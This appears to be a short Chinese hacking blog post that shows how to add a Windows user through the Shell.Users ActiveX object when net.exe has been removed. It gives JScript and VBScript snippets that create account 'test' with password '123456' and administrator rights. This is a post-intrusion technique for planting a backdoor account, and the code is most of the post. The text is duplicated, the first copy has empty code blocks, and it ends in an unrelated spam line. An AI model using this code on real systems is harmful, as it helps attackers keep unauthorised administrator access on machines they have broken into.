利用ActiveXObject组件加用户
by:lcx
今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：
js:
vbs:
http://hi.baidu.com/isbx/blog/item/74b942a9cb6933f51f17a232.html
今天研究了一下用户控制面板文件nusrmgr.cpl，发现调用的是Shell.Users来加用户，它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话，这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外，这也可能是一种新的加用户的方法。代码如下：
js:
+展开
-JavaScript
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
+展开
-VBScript
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
http://hi.baidu.com/isbx/blog/item/74b942a9cb6933f51f17a232.html
加支付宝好友偷能量挖...
